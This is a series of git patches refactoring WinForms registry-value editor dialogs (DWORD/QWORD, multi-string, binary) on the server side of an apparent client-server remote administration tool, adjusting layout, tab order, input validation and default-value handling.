System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); - this.valueDataTxtBox = new System.Windows.Forms.TextBox(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); this.baseBox = new System.Windows.Forms.GroupBox(); this.radioDecimal = new System.Windows.Forms.RadioButton(); this.radioHexa = new System.Windows.Forms.RadioButton(); - this.flowLayoutPanel1.SuspendLayout(); + this.valueDataTxtBox = new xServer.Controls.WordTextBox(); this.baseBox.SuspendLayout(); this.SuspendLayout(); // @@ -51,8 +49,8 @@ private void InitializeComponent() this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27); this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; - this.valueNameTxtBox.Size = new System.Drawing.Size(337, 20); - this.valueNameTxtBox.TabIndex = 3; + this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20); + this.valueNameTxtBox.TabIndex = 5; // // label1 // @@ -63,7 +61,7 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(9, 11); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 2; + this.label1.TabIndex = 10; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -76,51 +74,28 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(9, 53); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 4; + this.label2.TabIndex = 9; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // - // valueDataTxtBox - // - this.valueDataTxtBox.CharacterCasing = System.Windows.Forms.CharacterCasing.Lower; - this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); - this.valueDataTxtBox.Name = "valueDataTxtBox"; - this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); - this.valueDataTxtBox.TabIndex = 5; - this.valueDataTxtBox.WordWrap = false; - this.valueDataTxtBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.valueDataTxtBox_KeyPress); - // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 122); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(337, 29); - this.flowLayoutPanel1.TabIndex = 7; - // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(259, 3); + this.cancelButton.Location = new System.Drawing.Point(271, 128); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.Location = new System.Drawing.Point(178, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(190, 128); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); @@ -132,7 +107,7 @@ private void InitializeComponent() this.baseBox.Location = new System.Drawing.Point(190, 53); this.baseBox.Name = "baseBox"; this.baseBox.Size = new System.Drawing.Size(156, 63); - this.baseBox.TabIndex = 8; + this.baseBox.TabIndex = 6; this.baseBox.TabStop = false; this.baseBox.Text = "Base"; // @@ -142,10 +117,9 @@ private void InitializeComponent() this.radioDecimal.Location = new System.Drawing.Point(14, 40); this.radioDecimal.Name = "radioDecimal"; this.radioDecimal.Size = new System.Drawing.Size(63, 17); - this.radioDecimal.TabIndex = 1; + this.radioDecimal.TabIndex = 4; this.radioDecimal.Text = "Decimal"; this.radioDecimal.UseVisualStyleBackColor = true; - this.radioDecimal.Click += new System.EventHandler(this.radioDecimal_Click); // // radioHexa // @@ -154,11 +128,22 @@ private void InitializeComponent() this.radioHexa.Location = new System.Drawing.Point(14, 17); this.radioHexa.Name = "radioHexa"; this.radioHexa.Size = new System.Drawing.Size(86, 17); - this.radioHexa.TabIndex = 0; + this.radioHexa.TabIndex = 3; this.radioHexa.TabStop = true; this.radioHexa.Text = "Hexadecimal"; this.radioHexa.UseVisualStyleBackColor = true; - this.radioHexa.Click += new System.EventHandler(this.radioHexa_Click); + this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged); + // + // valueDataTxtBox + // + this.valueDataTxtBox.IsHexNumber = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); + this.valueDataTxtBox.MaxLength = 8; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.Text = "0"; + this.valueDataTxtBox.Type = xServer.Enums.WordType.DWORD; // // FrmRegValueEditWord // @@ -167,21 +152,21 @@ private void InitializeComponent() this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(358, 163); - this.Controls.Add(this.baseBox); - this.Controls.Add(this.flowLayoutPanel1); this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.baseBox); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); this.Controls.Add(this.label1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "FrmRegValueEditWord"; this.ShowIcon = false; this.Text = "Edit"; - this.Load += new System.EventHandler(this.FrmRegValueEditWord_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.baseBox.ResumeLayout(false); this.baseBox.PerformLayout(); this.ResumeLayout(false); @@ -194,12 +179,11 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueNameTxtBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox valueDataTxtBox; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private System.Windows.Forms.GroupBox baseBox; private System.Windows.Forms.RadioButton radioDecimal; private System.Windows.Forms.RadioButton radioHexa; + private Controls.WordTextBox valueDataTxtBox; } } \ No newline at end of file diff --git a/Server/Forms/FrmRegValueEditWord.cs b/Server/Forms/FrmRegValueEditWord.cs index b897e5025..63fec2f52 100644 --- a/Server/Forms/FrmRegValueEditWord.cs +++ b/Server/Forms/FrmRegValueEditWord.cs @@ -9,6 +9,7 @@ using System.Windows.Forms; using xServer.Core.Networking; using xServer.Core.Registry; +using xServer.Enums; namespace xServer.Forms { @@ -20,19 +21,11 @@ public partial class FrmRegValueEditWord : Form private readonly string _keyPath; - private int valueBase; - #region CONSTANT - private const int HEXA_32BIT_MAX_LENGTH = 8; - private const int HEXA_64BIT_MAX_LENGTH = 16; - private const int DEC_32BIT_MAX_LENGTH = 10; - private const int DEC_64BIT_MAX_LENGTH = 20; - private const int HEXA_BASE = 16; - private const int DEC_BASE = 10; - private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; - private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + #endregion public FrmRegValueEditWord(string keyPath, RegValueData value, Client c) @@ -45,59 +38,21 @@ public FrmRegValueEditWord(string keyPath, RegValueData value, Client c) this.valueNameTxtBox.Text = value.Name; - if (value.Kind == RegistryValueKind.DWord) { + if (value.Kind == RegistryValueKind.DWord) + { this.Text = "Edit DWORD (32-bit) Value"; - this.valueDataTxtBox.Text = ((uint)(int)value.Data).ToString("X"); - this.valueDataTxtBox.MaxLength = HEXA_32BIT_MAX_LENGTH; + this.valueDataTxtBox.Type = WordType.DWORD; + this.valueDataTxtBox.Text = ((uint)(int)value.Data).ToString("x"); } - else if (value.Kind == RegistryValueKind.QWord) { + else + { this.Text = "Edit QWORD (64-bit) Value"; - this.valueDataTxtBox.Text = ((ulong)(long)value.Data).ToString("X"); - this.valueDataTxtBox.MaxLength = HEXA_64BIT_MAX_LENGTH; + this.valueDataTxtBox.Type = WordType.QWORD; + this.valueDataTxtBox.Text = ((ulong)(long)value.Data).ToString("x"); } - valueBase = HEXA_BASE; - } - - private void FrmRegValueEditWord_Load(object sender, EventArgs e) - { - this.valueDataTxtBox.Select(); - this.valueDataTxtBox.Focus(); } #region Helpfunctions - - private string GetDataAsString(int type) - { - if (!String.IsNullOrEmpty(valueDataTxtBox.Text)) - { - string text = valueDataTxtBox.Text; - string returnType = (type == HEXA_BASE ? "X" : "D"); - try - { - if (_value.Kind == RegistryValueKind.DWord) - return Convert.ToUInt32(text, valueBase).ToString(returnType); - else - return Convert.ToUInt64(text, valueBase).ToString(returnType); - } - catch - { - string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; - if (ShowWarning(message, "Overflow") == DialogResult.Yes) //Yes from popup - { - if (_value.Kind == RegistryValueKind.DWord) - return UInt32.MaxValue.ToString(returnType); - else - return UInt64.MaxValue.ToString(returnType); - } - } - } - else - { - return ""; - } - //No convertion made - return null; - } private DialogResult ShowWarning(string msg, string caption) { @@ -108,50 +63,15 @@ private DialogResult ShowWarning(string msg, string caption) #region RadioButton Actions - private void radioHexa_Click(object sender, EventArgs e) + private void radioHex_CheckboxChanged(object sender, EventArgs e) { - if (radioHexa.Checked) - { - string text = GetDataAsString(HEXA_BASE); - if (text != null) - { - this.valueDataTxtBox.MaxLength = HEXA_64BIT_MAX_LENGTH; - - if (_value.Kind == RegistryValueKind.DWord) - this.valueDataTxtBox.MaxLength = HEXA_32BIT_MAX_LENGTH; - - valueDataTxtBox.Text = text; - valueBase = HEXA_BASE; - } - else if(valueBase == DEC_BASE) - { - //Re-check - radioDecimal.Checked = true; - } - } - } + if (valueDataTxtBox.IsHexNumber == radioHexa.Checked) + return; - private void radioDecimal_Click(object sender, EventArgs e) - { - if (radioDecimal.Checked) - { - string text = GetDataAsString(DEC_BASE); - if (text != null) - { - this.valueDataTxtBox.MaxLength = DEC_64BIT_MAX_LENGTH; - - if (_value.Kind == RegistryValueKind.DWord) - this.valueDataTxtBox.MaxLength = DEC_32BIT_MAX_LENGTH; - - valueDataTxtBox.Text = text; - valueBase = DEC_BASE; - } - else if(valueBase == HEXA_BASE) - { - //Re-check - radioHexa.Checked = true; - } - } + if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + valueDataTxtBox.IsHexNumber = radioHexa.Checked; + else + radioDecimal.Checked = true; } #endregion @@ -160,59 +80,30 @@ private void radioDecimal_Click(object sender, EventArgs e) private void okButton_Click(object sender, EventArgs e) { - //Try to convert string - string text = GetDataAsString(DEC_BASE); - if (text != null) + if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) { - if (_value.Kind == RegistryValueKind.DWord) - { - if (text != ((uint)(int)_value.Data).ToString()) - { - uint unsignedValue = Convert.ToUInt32(text); - object valueData = (int)(unsignedValue); - - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - } - else if (_value.Kind == RegistryValueKind.QWord) - { - if (text != ((ulong)(long)_value.Data).ToString()) - { - ulong unsignedValue = Convert.ToUInt64(text); - object valueData = (long)(unsignedValue); - - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - } - this.Close(); - } - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void valueDataTxtBox_KeyPress(object sender, KeyPressEventArgs e) - { - //Control keys are ok - if(!Char.IsControl(e.KeyChar)) { - if (radioHexa.Checked) - { - e.Handled = !(IsHexa(e.KeyChar)); - } + object valueData = null; + if(_value.Kind == RegistryValueKind.DWord) + valueData = (int)valueDataTxtBox.UIntValue; else - { - e.Handled = !(Char.IsDigit(e.KeyChar)); - } + valueData = (long)valueDataTxtBox.ULongValue; + + new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); + } + else + { + //Prevent exit + DialogResult = DialogResult.None; } } #endregion - private static bool IsHexa(char c) + private bool IsOverridePossible() { - return (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F') || Char.IsDigit(c); + string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; + + return ShowWarning(message, "Overflow") == DialogResult.Yes; } } } diff --git a/Server/Server.csproj b/Server/Server.csproj index 61dbdb0fe..a06b8b63a 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -88,6 +88,12 @@ Component + + Component + + + WordTextBox.cs + @@ -267,6 +273,7 @@ + Form From c5ac31eff6ff411176da0478ce54f3c84561b1ef Mon Sep 17 00:00:00 2001 From: LjungErik Date: Fri, 22 Apr 2016 10:13:36 +0200 Subject: [PATCH 032/229] Improved code for 'FrmRegValueEditMultiString' * Removed unnecessary close and load code * Removed unnecessary string sanitizing --- .../FrmRegValueEditMultiString.Designer.cs | 39 ++++----------- Server/Forms/FrmRegValueEditMultiString.cs | 49 ++----------------- 2 files changed, 13 insertions(+), 75 deletions(-) diff --git a/Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Server/Forms/FrmRegValueEditMultiString.Designer.cs index b84faab61..18bd22d0f 100644 --- a/Server/Forms/FrmRegValueEditMultiString.Designer.cs +++ b/Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -31,11 +31,9 @@ private void InitializeComponent() this.valueNameTxtBox = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); this.valueDataTxtBox = new System.Windows.Forms.TextBox(); - this.flowLayoutPanel1.SuspendLayout(); this.SuspendLayout(); // // valueNameTxtBox @@ -47,7 +45,7 @@ private void InitializeComponent() this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20); - this.valueNameTxtBox.TabIndex = 5; + this.valueNameTxtBox.TabIndex = 3; // // label1 // @@ -58,7 +56,6 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(12, 9); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 4; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -71,41 +68,27 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(12, 53); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 6; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(24, 327); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(337, 29); - this.flowLayoutPanel1.TabIndex = 8; - // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(259, 3); + this.cancelButton.Location = new System.Drawing.Point(286, 330); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.Location = new System.Drawing.Point(178, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(205, 330); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); @@ -113,12 +96,12 @@ private void InitializeComponent() // valueDataTxtBox // this.valueDataTxtBox.AcceptsReturn = true; - this.valueDataTxtBox.Location = new System.Drawing.Point(15, 69); + this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72); this.valueDataTxtBox.Multiline = true; this.valueDataTxtBox.Name = "valueDataTxtBox"; this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both; this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252); - this.valueDataTxtBox.TabIndex = 9; + this.valueDataTxtBox.TabIndex = 0; this.valueDataTxtBox.WordWrap = false; // // FrmRegValueEditMultiString @@ -128,8 +111,9 @@ private void InitializeComponent() this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(373, 365); + this.Controls.Add(this.cancelButton); this.Controls.Add(this.valueDataTxtBox); - this.Controls.Add(this.flowLayoutPanel1); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); this.Controls.Add(this.label1); @@ -139,8 +123,6 @@ private void InitializeComponent() this.Name = "FrmRegValueEditMultiString"; this.ShowIcon = false; this.Text = "Edit Multi-String"; - this.Load += new System.EventHandler(this.FrmRegValueEditMultiString_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -151,7 +133,6 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueNameTxtBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private System.Windows.Forms.TextBox valueDataTxtBox; diff --git a/Server/Forms/FrmRegValueEditMultiString.cs b/Server/Forms/FrmRegValueEditMultiString.cs index adc22256f..472ea0e4b 100644 --- a/Server/Forms/FrmRegValueEditMultiString.cs +++ b/Server/Forms/FrmRegValueEditMultiString.cs @@ -19,12 +19,6 @@ public partial class FrmRegValueEditMultiString : Form private readonly string _keyPath; - #region Constants - - private const string WARNING_MSG = "Data of type REG_MULTI_SZ cannot contain empty strings. Registry Editor will remove the empty strings found."; - - #endregion - public FrmRegValueEditMultiString(string keyPath, RegValueData value, Client c) { _connectClient = c; @@ -34,55 +28,18 @@ public FrmRegValueEditMultiString(string keyPath, RegValueData value, Client c) InitializeComponent(); this.valueNameTxtBox.Text = value.Name; - this.valueDataTxtBox.Lines = (string[])value.Data; - } - - private void FrmRegValueEditMultiString_Load(object sender, EventArgs e) - { - this.valueDataTxtBox.Select(); - this.valueDataTxtBox.Focus(); + this.valueDataTxtBox.Text = String.Join("\r\n",((string[])value.Data)); } #region Ok and Cancel button private void okButton_Click(object sender, EventArgs e) { - string[] lines = valueDataTxtBox.Lines; - if (lines.Length > 0) - { - string[] valueData = GetSanitizedStrings(lines); - if (valueData.Length != lines.Length) - { - ShowWarning(); - } - new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - } - this.Close(); - } + string[] valueData = valueDataTxtBox.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); + new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); } #endregion - - private string[] GetSanitizedStrings(string[] strs) - { - List sanitized = new List(); - foreach (string str in strs) - { - if (!String.IsNullOrWhiteSpace(str) && !String.IsNullOrEmpty(str)) - { - sanitized.Add(str); - } - } - return sanitized.ToArray(); - } - - private void ShowWarning() - { - MessageBox.Show(WARNING_MSG, "Warning", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } } From 712700e5634a055f64259e51e016e917c784b4ab Mon Sep 17 00:00:00 2001 From: LjungErik Date: Fri, 22 Apr 2016 10:24:46 +0200 Subject: [PATCH 033/229] Small improvements to 'FrmRegValueEditBinary' * Removed unnecessary close and load code * Prevented close of editor after invalid input * Set correct tab indices --- .../Forms/FrmRegValueEditBinary.Designer.cs | 38 +++++-------------- Server/Forms/FrmRegValueEditBinary.cs | 20 +++------- 2 files changed, 14 insertions(+), 44 deletions(-) diff --git a/Server/Forms/FrmRegValueEditBinary.Designer.cs b/Server/Forms/FrmRegValueEditBinary.Designer.cs index 98c5dcd3b..a51f35e52 100644 --- a/Server/Forms/FrmRegValueEditBinary.Designer.cs +++ b/Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -31,11 +31,9 @@ private void InitializeComponent() this.valueNameTxtBox = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); this.hexEditor = new xServer.Controls.HexEditor.HexEditor(); - this.flowLayoutPanel1.SuspendLayout(); this.SuspendLayout(); // // valueNameTxtBox @@ -45,7 +43,7 @@ private void InitializeComponent() this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20); - this.valueNameTxtBox.TabIndex = 5; + this.valueNameTxtBox.TabIndex = 3; // // label1 // @@ -56,7 +54,6 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(9, 15); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 4; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -69,42 +66,27 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(9, 54); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 6; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 270); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(341, 29); - this.flowLayoutPanel1.TabIndex = 8; - // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(263, 3); + this.cancelButton.Location = new System.Drawing.Point(278, 273); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.okButton.Location = new System.Drawing.Point(182, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(197, 273); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); @@ -120,7 +102,7 @@ private void InitializeComponent() this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3); this.hexEditor.Name = "hexEditor"; this.hexEditor.Size = new System.Drawing.Size(341, 196); - this.hexEditor.TabIndex = 6; + this.hexEditor.TabIndex = 0; this.hexEditor.VScrollBarVisisble = true; // // FrmRegValueEditBinary @@ -130,8 +112,9 @@ private void InitializeComponent() this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(365, 304); + this.Controls.Add(this.cancelButton); this.Controls.Add(this.hexEditor); - this.Controls.Add(this.flowLayoutPanel1); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); this.Controls.Add(this.label1); @@ -141,8 +124,6 @@ private void InitializeComponent() this.Name = "FrmRegValueEditBinary"; this.ShowIcon = false; this.Text = "Edit Binary"; - this.Load += new System.EventHandler(this.FrmRegValueEditBinary_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -153,7 +134,6 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueNameTxtBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private Controls.HexEditor.HexEditor hexEditor; diff --git a/Server/Forms/FrmRegValueEditBinary.cs b/Server/Forms/FrmRegValueEditBinary.cs index 703380b8e..3ec2509ac 100644 --- a/Server/Forms/FrmRegValueEditBinary.cs +++ b/Server/Forms/FrmRegValueEditBinary.cs @@ -36,7 +36,6 @@ public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) this.valueNameTxtBox.Text = value.Name; - if (value.Kind == Microsoft.Win32.RegistryValueKind.Binary) { hexEditor.HexTable = (byte[])value.Data; @@ -63,18 +62,12 @@ public FrmRegValueEditBinary(string keyPath, RegValueData value, Client c) } } - private void FrmRegValueEditBinary_Load(object sender, EventArgs e) - { - hexEditor.Select(); - hexEditor.Focus(); - } - #region Help function private object GetData() { byte[] bytes = hexEditor.HexTable; - if (bytes != null && bytes.Length > 0) + if (bytes != null) { try { @@ -126,14 +119,11 @@ private void okButton_Click(object sender, EventArgs e) if (valueData != null) { new xServer.Core.Packets.ServerPackets.DoChangeRegistryValue(_keyPath, new RegValueData(_value.Name, _value.Kind, valueData)).Execute(_connectClient); - - this.Close(); } - } - - private void cancelButton_Click(object sender, EventArgs e) - { - this.Close(); + else + { + DialogResult = DialogResult.None; + } } #endregion From 55ca59fa5ac3a8e2f6a482bf8f5892633ead0dae Mon Sep 17 00:00:00 2001 From: LjungErik Date: Fri, 22 Apr 2016 22:12:48 +0200 Subject: [PATCH 034/229] Added functionalilty for editing Default Value * Added Client code to send RegValueData with the default value * Added Client-side Helper functions to handle default registry values * Added Server code to handle actions on default value * Added Server-side Helper functions to handle default registry values --- Client/Core/Commands/RegistryHandler.cs | 3 +- Client/Core/Helper/RegistryKeyHelper.cs | 44 ++++++++++++++ Client/Core/Registry/RegistryEditor.cs | 6 +- Client/Core/Registry/RegistrySeeker.cs | 9 +-- Server/Controls/RegistryValueLstItem.cs | 46 ++++++++------- .../Core/Extensions/RegistryKeyExtensions.cs | 3 + Server/Core/Registry/RegValueHelper.cs | 22 +++++++ Server/Forms/FrmRegValueEditBinary.cs | 7 ++- Server/Forms/FrmRegValueEditString.cs | 6 +- Server/Forms/FrmRegistryEditor.cs | 59 +++++++++++-------- Server/Server.csproj | 1 + 11 files changed, 147 insertions(+), 59 deletions(-) create mode 100644 Server/Core/Registry/RegValueHelper.cs diff --git a/Client/Core/Commands/RegistryHandler.cs 